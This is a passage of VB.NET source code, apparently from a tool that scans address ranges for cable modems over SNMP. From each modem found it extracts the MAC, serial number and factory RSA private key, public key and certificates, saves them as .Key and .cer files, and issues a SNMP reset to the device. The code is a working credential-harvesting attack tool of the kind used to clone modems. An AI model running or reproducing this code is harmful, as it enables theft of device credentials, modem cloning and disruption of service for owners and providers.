  6924.                 myProcess5.StartInfo.UseShellExecute = False
  6925.                 myProcess5.StartInfo.CreateNoWindow = True
  6926.                 myProcess5.StartInfo.RedirectStandardInput = True
  6927.                 myProcess5.StartInfo.RedirectStandardOutput = True
  6928.                 myProcess5.StartInfo.RedirectStandardError = True
  6929.                 myProcess5.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.54.0"
  6930.                 myProcess5.Start()
  6931.                 Dim sIn5 As StreamWriter = myProcess5.StandardInput
  6932.                 sIn5.AutoFlush = True
  6933.                 Dim sOut5 As StreamReader = myProcess5.StandardOutput
  6934.                 Dim sErr5 As StreamReader = myProcess5.StandardError
  6935.                 s5 = sOut5.ReadToEnd()
  6936.                 If Not myProcess5.HasExited Then
  6937.                     myProcess5.Kill()
  6938.                 End If
  6939.                 sIn5.Close()
  6940.                 sOut5.Close()
  6941.                 sErr5.Close()
  6942.                 myProcess5.Close()
  6943.                 Dim temp5 As String
  6944.  
  6945.                 temp5 = Replace(check_cannot_find_module(s5), "STRING: ", "")
  6946.                 temp5 = Replace(temp5, "Hex-", "")
  6947.                 temp5 = Replace(temp5, Chr(34), "")
  6948.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRootCertificate.txt"
  6949.                 oWrite = oFile.CreateText(filedir)
  6950.                 oWrite.WriteLine(temp5)
  6951.                 oWrite.Close()
  6952.                 Dim bytelist5 As String()
  6953.                 Dim templist5 As String
  6954.                 templist5 = Replace(temp5, vbCrLf, " ")
  6955.                 templist5 = templist5.Remove(templist5.Length - 1, 1)
  6956.                 templist5 = Replace(templist5, " ", ",")
  6957.                 templist5 = Replace(templist5, ",,", ",")
  6958.                 bytelist5 = Split(templist5, ",")
  6959.                 Dim coutner5 As Integer
  6960.                 coutner5 = 2
  6961.                 Dim countback5 As Integer = bytelist5.Length - 2
  6962.                 Dim countup5 As Integer = 1
  6963.                 Dim watchvar5 As Integer = 0
  6964.                 While countback5 >= 0
  6965.                     If bytelist5(countback5).ToString = "00" And watchvar5 = 0 Then
  6966.                         countup5 = countup5 + 1
  6967.                     Else
  6968.                         watchvar5 = 1
  6969.                     End If
  6970.                     countback5 = countback5 - 1
  6971.                 End While
  6972.                 While coutner5 < bytelist5.Length - countup5
  6973.                     Dim byteData5 As Byte = CInt("&H" & bytelist5(coutner5).ToString)
  6974.                     Dim oFileStream5 As System.IO.FileStream
  6975.                     oFileStream5 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\root.Key", System.IO.FileMode.Append)
  6976.                     oFileStream5.WriteByte(byteData5)
  6977.                     oFileStream5.Close()
  6978.                     coutner5 = coutner5 + 1
  6979.                 End While
  6980.  
  6981.                 x = "C:\snmpcert\snmpset.exe"
  6982.                 Dim myProcess6 As Process = New Process
  6983.                 Dim s6 As String
  6984.                 myProcess6.StartInfo.FileName = x
  6985.                 myProcess6.StartInfo.UseShellExecute = False
  6986.                 myProcess6.StartInfo.CreateNoWindow = True
  6987.                 myProcess6.StartInfo.RedirectStandardInput = True
  6988.                 myProcess6.StartInfo.RedirectStandardOutput = True
  6989.                 myProcess6.StartInfo.RedirectStandardError = True
  6990.                 myProcess6.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.29.0"
  6991.                 myProcess6.Start()
  6992.                 Dim sIn6 As StreamWriter = myProcess6.StandardInput
  6993.                 sIn6.AutoFlush = True
  6994.                 Dim sOut6 As StreamReader = myProcess6.StandardOutput
  6995.                 Dim sErr6 As StreamReader = myProcess6.StandardError
  6996.                 s6 = sOut6.ReadToEnd()
  6997.                 If Not myProcess6.HasExited Then
  6998.                     myProcess6.Kill()
  6999.                 End If
  7000.                 sIn6.Close()
  7001.                 sOut6.Close()
  7002.                 sErr6.Close()
  7003.                 myProcess6.Close()
  7004.                 Dim myProcess7 As Process = New Process
  7005.                 Dim s7 As String
  7006.                 myProcess7.StartInfo.FileName = x
  7007.                 myProcess7.StartInfo.UseShellExecute = False
  7008.                 myProcess7.StartInfo.CreateNoWindow = True
  7009.                 myProcess7.StartInfo.RedirectStandardInput = True
  7010.                 myProcess7.StartInfo.RedirectStandardOutput = True
  7011.                 myProcess7.StartInfo.RedirectStandardError = True
  7012.                 myProcess7.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.69.1.1.3.0 i 1"
  7013.                 myProcess7.Start()
  7014.                 Dim sIn7 As StreamWriter = myProcess7.StandardInput
  7015.                 sIn7.AutoFlush = True
  7016.                 Dim sOut7 As StreamReader = myProcess7.StandardOutput
  7017.                 Dim sErr7 As StreamReader = myProcess7.StandardError
  7018.                 s7 = sOut7.ReadToEnd()
  7019.                 If Not myProcess7.HasExited Then
  7020.                     myProcess7.Kill()
  7021.                 End If
  7022.                 sIn7.Close()
  7023.                 sOut7.Close()
  7024.                 sErr7.Close()
  7025.                 myProcess7.Close()
  7026.  
  7027.                 Timer1.Enabled = True
  7028.             Catch ex As Exception
  7029.                 Exit Sub
  7030.             End Try
  7031.         End If
  7032.     End Sub
  7033.     Sub check10(ByVal ip0 As Integer, ByVal ip1 As Integer, ByVal ip2 As Integer)
  7034.         Dim modem_ip As String = octet4.ToString & "." & ip0.ToString & "." & ip1.ToString & "." & ip2
  7035.         Dim x = "C:\snmpcert\snmpget.exe"
  7036.         Dim myProcess As Process = New Process
  7037.         Dim s As String = ""
  7038.         myProcess.StartInfo.FileName = x
  7039.         myProcess.StartInfo.UseShellExecute = False
  7040.         myProcess.StartInfo.CreateNoWindow = True
  7041.         myProcess.StartInfo.RedirectStandardInput = True
  7042.         myProcess.StartInfo.RedirectStandardOutput = True
  7043.         myProcess.StartInfo.RedirectStandardError = True
  7044.         myProcess.StartInfo.Arguments = "-v2c -O v -r 2 -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.1.0"
  7045.         myProcess.Start()
  7046.         Dim sIn As StreamWriter = myProcess.StandardInput
  7047.         sIn.AutoFlush = True
  7048.         Dim sOut As StreamReader = myProcess.StandardOutput
  7049.         Dim sErr As StreamReader = myProcess.StandardError
  7050.  
  7051.  
  7052.         s = sOut.ReadToEnd()
  7053.         Dim e As String = sErr.ReadToEnd
  7054.         Console.WriteLine(s)
  7055.         output = e
  7056.         output = s
  7057.         If Not myProcess.HasExited Then
  7058.             myProcess.Kill()
  7059.         End If
  7060.         sIn.Close()
  7061.         sOut.Close()
  7062.         sErr.Close()
  7063.         myProcess.Close()
  7064.         Dim temp As String = ""
  7065.         temp = Replace(check_cannot_find_module(s), "STRING: ", "")
  7066.         temp = Replace(temp, Chr(34), "")
  7067.         If temp = Nothing Then
  7068.             temp = ""
  7069.         Else
  7070.             If temp = "No Such Object available on this agent at this OID" Then
  7071.                 allmodems += 1
  7072.             End If
  7073.             temp = temp.ToString.ToUpper
  7074.             Dim values As String
  7075.             values = temp
  7076.             Dim sites As String() = Nothing
  7077.             sites = values.Split(" ")
  7078.             Dim t As String
  7079.             For Each t In sites
  7080.                 If t = "NO" Then
  7081.                     track = 1
  7082.  
  7083.                 End If
  7084.  
  7085.             Next t
  7086.         End If
  7087.         If temp.ToString = "" Then
  7088.             Timer1.Enabled = True
  7089.             Exit Sub
  7090.         ElseIf track = 1 Then
  7091.             track = 0
  7092.             Timer1.Enabled = True
  7093.             Exit Sub
  7094.         Else
  7095.             total_modems += 1
  7096.  
  7097.             Try
  7098.                 Dim mymac1 As Process = New Process
  7099.                 Dim sm As String
  7100.                 mymac1.StartInfo.FileName = x
  7101.                 mymac1.StartInfo.UseShellExecute = False
  7102.                 mymac1.StartInfo.CreateNoWindow = True
  7103.                 mymac1.StartInfo.RedirectStandardInput = True
  7104.                 mymac1.StartInfo.RedirectStandardOutput = True
  7105.                 mymac1.StartInfo.RedirectStandardError = True
  7106.                 mymac1.StartInfo.Arguments = "-v2c -O v -c " & community_string.ToString & " " & modem_ip.ToString & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.4.0"
  7107.                 mymac1.Start()
  7108.                 Dim sInm As StreamWriter = mymac1.StandardInput
  7109.                 sInm.AutoFlush = True
  7110.                 Dim sOutm As StreamReader = mymac1.StandardOutput
  7111.                 Dim sErrm As StreamReader = mymac1.StandardError
  7112.                 sm = sOutm.ReadToEnd()
  7113.                 If Not mymac1.HasExited Then
  7114.                     mymac1.Kill()
  7115.                 End If
  7116.                 sInm.Close()
  7117.                 sOutm.Close()
  7118.                 sErrm.Close()
  7119.                 mymac1.Close()
  7120.                 Dim tempm As String = ""
  7121.                 tempm = Replace(check_cannot_find_module(sm), "STRING: ", Nothing)
  7122.                 tempm = Replace(tempm, "Hex-", Nothing)
  7123.                 tempm = Replace(tempm, Chr(34), Nothing)
  7124.                 tempm = Replace(tempm, ":", Nothing)
  7125.                 tempm = Replace(tempm, " ", Nothing)
  7126.                 temp = Replace(temp, vbCrLf, Nothing)
  7127.                 tempm = Replace(tempm, vbCrLf, Nothing)
  7128.                 Dim usbmac As Process = New Process
  7129.                 Dim sm1 As String
  7130.                 usbmac.StartInfo.FileName = x
  7131.                 usbmac.StartInfo.UseShellExecute = False
  7132.                 usbmac.StartInfo.CreateNoWindow = True
  7133.                 usbmac.StartInfo.RedirectStandardInput = True
  7134.                 usbmac.StartInfo.RedirectStandardOutput = True
  7135.                 usbmac.StartInfo.RedirectStandardError = True
  7136.                 usbmac.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.60.0"
  7137.                 usbmac.Start()
  7138.                 Dim sInm1 As StreamWriter = usbmac.StandardInput
  7139.                 sInm1.AutoFlush = True
  7140.                 Dim sOutm1 As StreamReader = usbmac.StandardOutput
  7141.                 Dim sErrm1 As StreamReader = usbmac.StandardError
  7142.                 sm1 = sOutm1.ReadToEnd()
  7143.                 If Not usbmac.HasExited Then
  7144.                     usbmac.Kill()
  7145.                 End If
  7146.                 sInm1.Close()
  7147.                 sOutm1.Close()
  7148.                 sErrm1.Close()
  7149.                 usbmac.Close()
  7150.                 Dim tempum As String = ""
  7151.                 tempum = Replace(check_cannot_find_module(sm1), "STRING: ", Nothing)
  7152.                 tempum = Replace(tempum, "Hex-", Nothing)
  7153.                 tempum = Replace(tempum, Chr(34), Nothing)
  7154.                 tempum = Replace(tempum, ":", Nothing)
  7155.                 tempum = Replace(tempum, " ", Nothing)
  7156.                 tempum = Replace(tempum, vbCrLf, Nothing)
  7157.                 Directory.CreateDirectory("C:\snmpcert\" & temp)
  7158.                 Directory.CreateDirectory("C:\snmpcert\" & temp & "\" & tempm)
  7159.                 'get SERIAL number
  7160.                 Dim myProcessSER As Process = New Process
  7161.                 Dim sSER As String
  7162.                 myProcessSER.StartInfo.FileName = x
  7163.                 myProcessSER.StartInfo.UseShellExecute = False
  7164.                 myProcessSER.StartInfo.CreateNoWindow = True
  7165.                 myProcessSER.StartInfo.RedirectStandardInput = True
  7166.                 myProcessSER.StartInfo.RedirectStandardOutput = True
  7167.                 myProcessSER.StartInfo.RedirectStandardError = True
  7168.                 myProcessSER.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.6.0"
  7169.                 myProcessSER.Start()
  7170.                 Dim sInSER As StreamWriter = myProcessSER.StandardInput
  7171.                 sInSER.AutoFlush = True
  7172.                 Dim sOutSER As StreamReader = myProcessSER.StandardOutput
  7173.                 Dim sErrSER As StreamReader = myProcessSER.StandardError
  7174.                 sSER = sOutSER.ReadToEnd()
  7175.                 If Not myProcessSER.HasExited Then
  7176.                     myProcessSER.Kill()
  7177.                 End If
  7178.                 sInSER.Close()
  7179.                 sOutSER.Close()
  7180.                 sErrSER.Close()
  7181.                 myProcessSER.Close()
  7182.                 Dim tempSER As String
  7183.                 tempSER = Replace(check_cannot_find_module(sSER), "STRING: ", Nothing)
  7184.                 tempSER = Replace(tempSER, "Hex-", Nothing)
  7185.                 tempSER = Replace(tempSER, Chr(34), Nothing)
  7186.  
  7187.  
  7188.  
  7189.  
  7190.  
  7191.  
  7192.                 'get download speed
  7193.  
  7194.                 Dim myProcessspeedd As Process = New Process
  7195.                 Dim sspeedd As String
  7196.                 myProcessspeedd.StartInfo.FileName = x
  7197.                 myProcessspeedd.StartInfo.UseShellExecute = False
  7198.                 myProcessspeedd.StartInfo.CreateNoWindow = True
  7199.                 myProcessspeedd.StartInfo.RedirectStandardInput = True
  7200.                 myProcessspeedd.StartInfo.RedirectStandardOutput = True
  7201.                 myProcessspeedd.StartInfo.RedirectStandardError = True
  7202.                 myProcessspeedd.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16706.1"
  7203.                 myProcessspeedd.Start()
  7204.  
  7205.  
  7206.                 Dim sInSpeedd As StreamWriter = myProcessspeedd.StandardInput
  7207.                 sInSpeedd.AutoFlush = True
  7208.                 Dim sOutSpeedd As StreamReader = myProcessspeedd.StandardOutput
  7209.                 Dim sErrSpeedd As StreamReader = myProcessspeedd.StandardError
  7210.                 sspeedd = sOutSpeedd.ReadToEnd()
  7211.                 If Not myProcessspeedd.HasExited Then
  7212.                     myProcessspeedd.Kill()
  7213.                 End If
  7214.                 sInSpeedd.Close()
  7215.                 sOutSpeedd.Close()
  7216.                 sErrSpeedd.Close()
  7217.                 myProcessspeedd.Close()
  7218.                 Dim tempSpeedd As String
  7219.                 tempSpeedd = Replace(check_cannot_find_module(sspeedd), "Gauge32: ", Nothing)
  7220.                 tempSpeedd = Replace(tempSpeedd, "Hex-", Nothing)
  7221.                 tempSpeedd = Replace(tempSpeedd, Chr(34), Nothing)
  7222.                 tempSpeedd = Replace(tempSpeedd, vbCrLf, Nothing)
  7223.                 'get upload speed
  7224.                 Dim myProcessspeedu As Process = New Process
  7225.                 Dim sspeedu As String
  7226.                 myProcessspeedu.StartInfo.FileName = x
  7227.                 myProcessspeedu.StartInfo.UseShellExecute = False
  7228.                 myProcessspeedu.StartInfo.CreateNoWindow = True
  7229.                 myProcessspeedu.StartInfo.RedirectStandardInput = True
  7230.                 myProcessspeedu.StartInfo.RedirectStandardOutput = True
  7231.                 myProcessspeedu.StartInfo.RedirectStandardError = True
  7232.                 myProcessspeedu.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16717.1"
  7233.                 myProcessspeedu.Start()
  7234.                 Dim sInSpeedu As StreamWriter = myProcessspeedu.StandardInput
  7235.                 sInSpeedu.AutoFlush = True
  7236.                 Dim sOutSpeedu As StreamReader = myProcessspeedu.StandardOutput
  7237.                 Dim sErrSpeedu As StreamReader = myProcessspeedu.StandardError
  7238.                 sspeedu = sOutSpeedu.ReadToEnd()
  7239.                 If Not myProcessspeedu.HasExited Then
  7240.                     myProcessspeedu.Kill()
  7241.                 End If
  7242.                 sInSpeedu.Close()
  7243.                 sOutSpeedu.Close()
  7244.                 sErrSpeedu.Close()
  7245.                 myProcessspeedu.Close()
  7246.                 Dim tempSpeedu As String
  7247.                 tempSpeedu = Replace(check_cannot_find_module(sspeedu), "Gauge32: ", Nothing)
  7248.                 tempSpeedu = Replace(tempSpeedu, "Hex-", Nothing)
  7249.                 tempSpeedu = Replace(tempSpeedu, Chr(34), Nothing)
  7250.  
  7251.  
  7252.                 If tempSpeedd = "No Such Instance currently exists at this OID" Then
  7253.                     'get download speed doccis 1.1 +
  7254.                     Dim myProcessspeedd1 As Process = New Process
  7255.                     Dim sspeedd1 As String
  7256.                     myProcessspeedd1.StartInfo.FileName = "C:\snmpcert\snmpwalk.exe"
  7257.                     myProcessspeedd1.StartInfo.UseShellExecute = False
  7258.                     myProcessspeedd1.StartInfo.CreateNoWindow = True
  7259.                     myProcessspeedd1.StartInfo.RedirectStandardInput = True
  7260.                     myProcessspeedd1.StartInfo.RedirectStandardOutput = True
  7261.                     myProcessspeedd1.StartInfo.RedirectStandardError = True
  7262.                     myProcessspeedd1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2"
  7263.                     myProcessspeedd1.Start()
  7264.  
  7265.  
  7266.                     Dim sInSpeedd1 As StreamWriter = myProcessspeedd1.StandardInput
  7267.                     sInSpeedd1.AutoFlush = True
  7268.                     Dim sOutSpeedd1 As StreamReader = myProcessspeedd1.StandardOutput
  7269.                     Dim sErrSpeedd1 As StreamReader = myProcessspeedd1.StandardError
  7270.                     sspeedd1 = sOutSpeedd1.ReadToEnd()
  7271.                     If Not myProcessspeedd1.HasExited Then
  7272.                         myProcessspeedd1.Kill()
  7273.                     End If
  7274.                     sInSpeedd1.Close()
  7275.                     sOutSpeedd1.Close()
  7276.                     sErrSpeedd1.Close()
  7277.                     myProcessspeedd1.Close()
  7278.                     Dim tempSpeedd1 As String
  7279.                     tempSpeedd1 = Replace(check_cannot_find_module(sspeedd1), "Gauge32: ", Nothing)
  7280.                     tempSpeedd1 = Replace(tempSpeedd1, "Hex-", Nothing)
  7281.                     tempSpeedd1 = Replace(tempSpeedd1, Chr(34), Nothing)
  7282.                     tempSpeedd = tempSpeedd1
  7283.  
  7284.                     Dim testing As String
  7285.                     testing = Replace(tempSpeedd1, vbCrLf, ",")
  7286.                     ''MsgBox(testing)
  7287.                     Dim split As String()
  7288.                     split = testing.Split(",")
  7289.                     tempSpeedd = split(0).ToString
  7290.                     tempSpeedu = split(4).ToString
  7291.                     ''MsgBox(tempSpeedd)
  7292.                     ''MsgBox(tempSpeedu)
  7293.                 End If
  7294.  
  7295.  
  7296.  
  7297.                 Dim oFileSER As System.IO.File
  7298.                 Dim oWriteSER As System.IO.StreamWriter
  7299.                 Dim filedirSER As String = "C:\snmpcert\" & temp & "\" & tempm & "\cminfo.txt"
  7300.                 oWriteSER = oFileSER.CreateText(filedirSER)
  7301.                 oWriteSER.WriteLine("modem's ip was:" & modem_ip & vbCrLf & "mac was : " & tempm & vbCrLf & "usb mac was:" & tempum & vbCrLf & "modem's serial was: " & tempSER & "modem's upload speed was:" & tempSpeedd.ToString & vbCrLf & "modem's download speed was:" & tempSpeedu.ToString)
  7302.                 oWriteSER.Close()
  7303.  
  7304.                 Dim filetodelete As String
  7305.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\ca.cer"
  7306.                 If System.IO.File.Exists(filetodelete) = True Then
  7307.                     System.IO.File.Delete(filetodelete)
  7308.                 End If
  7309.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\CM.cer"
  7310.                 If System.IO.File.Exists(filetodelete) = True Then
  7311.                     System.IO.File.Delete(filetodelete)
  7312.                 End If
  7313.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\private.Key"
  7314.                 If System.IO.File.Exists(filetodelete) = True Then
  7315.                     System.IO.File.Delete(filetodelete)
  7316.                 End If
  7317.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\Public.key"
  7318.                 If System.IO.File.Exists(filetodelete) = True Then
  7319.                     System.IO.File.Delete(filetodelete)
  7320.                 End If
  7321.  
  7322.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\root.key"
  7323.                 If System.IO.File.Exists(filetodelete) = True Then
  7324.                     System.IO.File.Delete(filetodelete)
  7325.                 End If
  7326.  
  7327.  
  7328.  
  7329.  
  7330.  
  7331.  
  7332.  
  7333.                 'get cmFactoryRSAPublicKey.txt
  7334.                 Dim myProcess1 As Process = New Process
  7335.                 Dim s1 As String
  7336.                 myProcess1.StartInfo.FileName = x
  7337.                 myProcess1.StartInfo.UseShellExecute = False
  7338.                 myProcess1.StartInfo.CreateNoWindow = True
  7339.                 myProcess1.StartInfo.RedirectStandardInput = True
  7340.                 myProcess1.StartInfo.RedirectStandardOutput = True
  7341.                 myProcess1.StartInfo.RedirectStandardError = True
  7342.                 myProcess1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.50.0"
  7343.                 myProcess1.Start()
  7344.                 Dim sIn1 As StreamWriter = myProcess1.StandardInput
  7345.                 sIn1.AutoFlush = True
  7346.                 Dim sOut1 As StreamReader = myProcess1.StandardOutput
  7347.                 Dim sErr1 As StreamReader = myProcess1.StandardError
  7348.                 s1 = sOut1.ReadToEnd()
  7349.                 If Not myProcess1.HasExited Then
  7350.                     myProcess1.Kill()
  7351.                 End If
  7352.                 sIn1.Close()
  7353.                 sOut1.Close()
  7354.                 sErr1.Close()
  7355.                 myProcess1.Close()
  7356.                 Dim temp1 As String
  7357.                 temp1 = Replace(check_cannot_find_module(s1), "STRING: ", Nothing)
  7358.                 temp1 = Replace(temp1, "Hex-", Nothing)
  7359.                 temp1 = Replace(temp1, Chr(34), Nothing)
  7360.                 Dim oFile As System.IO.File
  7361.                 Dim oWrite As System.IO.StreamWriter
  7362.                 If File.Exists("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt") Then
  7363.                     File.Delete("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt")
  7364.                 End If
  7365.                 Dim filedir As String = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt"
  7366.                 oWrite = oFile.CreateText(filedir)
  7367.                 oWrite.WriteLine(temp1)
  7368.                 oWrite.Close()
  7369.                 Dim bytelist1 As String()
  7370.                 Dim templist1 As String
  7371.                 templist1 = Replace(temp1, vbCrLf, " ")
  7372.                 templist1 = templist1.Remove(templist1.Length - 1, 1)
  7373.                 templist1 = Replace(templist1, " ", ",")
  7374.                 templist1 = Replace(templist1, ",,", ",")
  7375.                 bytelist1 = Split(templist1, ",")
  7376.                 Dim coutner1 As Integer
  7377.                 coutner1 = 2
  7378.                 Dim countback1 As Integer = bytelist1.Length - 2
  7379.                 Dim countup1 As Integer = 1
  7380.                 Dim watchvar1 As Integer = 0
  7381.                 While countback1 >= 0
  7382.                     If bytelist1(countback1).ToString = "00" AndAlso watchvar1 = 0 Then
  7383.                         countup1 += 1
  7384.                     Else
  7385.                         watchvar1 = 1
  7386.                     End If
  7387.                     countback1 -= 1
  7388.                 End While
  7389.                 While coutner1 < bytelist1.Length - countup1
  7390.                     Dim byteData As Byte = CInt("&H" & bytelist1(coutner1).ToString)
  7391.                     Dim oFileStream1 As System.IO.FileStream
  7392.                     oFileStream1 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\Public.Key", System.IO.FileMode.Append)
  7393.                     oFileStream1.WriteByte(byteData)
  7394.                     oFileStream1.Close()
  7395.                     coutner1 += 1
  7396.                 End While
  7397.                 'get cmFactoryRSAPrivateKey.txt
  7398.                 Dim myProcess2 As Process = New Process
  7399.                 Dim s2 As String
  7400.                 myProcess2.StartInfo.FileName = x
  7401.                 myProcess2.StartInfo.UseShellExecute = False
  7402.                 myProcess2.StartInfo.CreateNoWindow = True
  7403.                 myProcess2.StartInfo.RedirectStandardInput = True
  7404.                 myProcess2.StartInfo.RedirectStandardOutput = True
  7405.                 myProcess2.StartInfo.RedirectStandardError = True
  7406.                 myProcess2.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.51.0"
  7407.                 myProcess2.Start()
  7408.                 Dim sIn2 As StreamWriter = myProcess2.StandardInput
  7409.                 sIn2.AutoFlush = True
  7410.                 Dim sOut2 As StreamReader = myProcess2.StandardOutput
  7411.                 Dim sErr2 As StreamReader = myProcess2.StandardError
  7412.                 s2 = sOut2.ReadToEnd()
  7413.                 If Not myProcess2.HasExited Then
  7414.                     myProcess2.Kill()
  7415.                 End If
  7416.                 sIn2.Close()
  7417.                 sOut2.Close()
  7418.                 sErr2.Close()
  7419.                 myProcess2.Close()
  7420.                 Dim temp2 As String
  7421.                 temp2 = Replace(check_cannot_find_module(s2), "STRING: ", "")
  7422.                 temp2 = Replace(temp2, "Hex-", "")
  7423.                 temp2 = Replace(temp2, Chr(34), "")
  7424.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPrivateKey.txt"
  7425.                 oWrite = oFile.CreateText(filedir)
  7426.                 oWrite.WriteLine(temp2)
  7427.                 oWrite.Close()
  7428.                 Dim bytelist2 As String()
  7429.                 Dim templist2 As String
  7430.                 templist2 = Replace(temp2, vbCrLf, " ")
  7431.                 templist2 = templist2.Remove(templist2.Length - 1, 1)
  7432.                 templist2 = Replace(templist2, " ", ",")
  7433.                 templist2 = Replace(templist2, ",,", ",")
  7434.                 bytelist2 = Split(templist2, ",")
  7435.                 Dim coutner2 As Integer
  7436.                 coutner2 = 2
  7437.                 Dim countback2 As Integer = bytelist2.Length - 2
  7438.                 Dim countup2 As Integer = 1
  7439.                 Dim watchvar2 As Integer = 0
  7440.                 While countback2 >= 0
  7441.                     If bytelist2(countback2).ToString = "00" AndAlso watchvar2 = 0 Then
  7442.                         countup2 += 1
  7443.                     Else
  7444.                         watchvar2 = 1
  7445.                     End If
  7446.                     countback2 -= 1
  7447.                 End While
  7448.                 While coutner2 < bytelist2.Length - countup2
  7449.                     Dim byteData2 As Byte = CInt("&H" & bytelist2(coutner2).ToString)
  7450.                     Dim oFileStream2 As System.IO.FileStream
  7451.                     oFileStream2 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\private.Key", System.IO.FileMode.Append)
  7452.                     oFileStream2.WriteByte(byteData2)
  7453.                     oFileStream2.Close()
  7454.                     coutner2 += 1
  7455.                 End While
  7456.                 'get cmFactoryCMCertificate.txt
  7457.                 Dim myProcess3 As Process = New Process
  7458.                 Dim s3 As String
  7459.                 myProcess3.StartInfo.FileName = x
  7460.                 myProcess3.StartInfo.UseShellExecute = False
  7461.                 myProcess3.StartInfo.CreateNoWindow = True
  7462.                 myProcess3.StartInfo.RedirectStandardInput = True
  7463.                 myProcess3.StartInfo.RedirectStandardOutput = True
  7464.                 myProcess3.StartInfo.RedirectStandardError = True
  7465.                 myProcess3.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.52.0"
  7466.                 myProcess3.Start()
  7467.                 Dim sIn3 As StreamWriter = myProcess3.StandardInput
  7468.                 sIn3.AutoFlush = True
  7469.                 Dim sOut3 As StreamReader = myProcess3.StandardOutput
  7470.                 Dim sErr3 As StreamReader = myProcess3.StandardError
  7471.                 s3 = sOut3.ReadToEnd()
  7472.                 If Not myProcess3.HasExited Then
  7473.                     myProcess3.Kill()
  7474.                 End If
  7475.                 sIn3.Close()
  7476.                 sOut3.Close()
  7477.                 sErr3.Close()
  7478.                 myProcess3.Close()
  7479.                 Dim temp3 As String
  7480.  
  7481.                 temp3 = Replace(check_cannot_find_module(s3), "STRING: ", "")
  7482.                 temp3 = Replace(temp3, "Hex-", "")
  7483.                 temp3 = Replace(temp3, Chr(34), "")
  7484.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCMCertificate.txt"
  7485.                 oWrite = oFile.CreateText(filedir)
  7486.                 oWrite.WriteLine(temp3)
  7487.                 oWrite.Close()
  7488.                 Dim bytelist3 As String()
  7489.                 Dim templist3 As String
  7490.                 templist3 = Replace(temp3, vbCrLf, " ")
  7491.                 templist3 = templist3.Remove(templist3.Length - 1, 1)
  7492.                 templist3 = Replace(templist3, " ", ",")
  7493.                 templist3 = Replace(templist3, ",,", ",")
  7494.                 bytelist3 = Split(templist3, ",")
  7495.                 Dim coutner3 As Integer
  7496.                 coutner3 = 2
  7497.                 Dim countback3 As Integer = bytelist3.Length - 2
  7498.                 Dim countup3 As Integer = 1
  7499.                 Dim watchvar3 As Integer = 0
  7500.                 While countback3 >= 0
  7501.                     If bytelist3(countback3).ToString = "00" And watchvar3 = 0 Then
  7502.                         countup3 += 1
  7503.                     Else
  7504.                         watchvar3 = 1
  7505.                     End If
  7506.                     countback3 -= 1
  7507.                 End While
  7508.                 While coutner3 < bytelist3.Length - countup3
  7509.                     Dim byteData3 As Byte = CInt("&H" & bytelist3(coutner3).ToString)
  7510.                     Dim oFileStream3 As System.IO.FileStream
  7511.                     oFileStream3 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\CM.cer", System.IO.FileMode.Append)
  7512.                     oFileStream3.WriteByte(byteData3)
  7513.                     oFileStream3.Close()
  7514.                     coutner3 = coutner3 + 1
  7515.                 End While
  7516.                 'get cmFactoryCaCertificate.txt
  7517.                 Dim myProcess4 As Process = New Process
  7518.                 Dim s4 As String
  7519.                 myProcess4.StartInfo.FileName = x
  7520.                 myProcess4.StartInfo.UseShellExecute = False
  7521.                 myProcess4.StartInfo.CreateNoWindow = True
  7522.                 myProcess4.StartInfo.RedirectStandardInput = True
  7523.                 myProcess4.StartInfo.RedirectStandardOutput = True
  7524.                 myProcess4.StartInfo.RedirectStandardError = True
  7525.                 myProcess4.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.53.0"
  7526.                 myProcess4.Start()
  7527.                 Dim sIn4 As StreamWriter = myProcess4.StandardInput
  7528.                 sIn4.AutoFlush = True
  7529.                 Dim sOut4 As StreamReader = myProcess4.StandardOutput
  7530.                 Dim sErr4 As StreamReader = myProcess4.StandardError
  7531.                 s4 = sOut4.ReadToEnd()
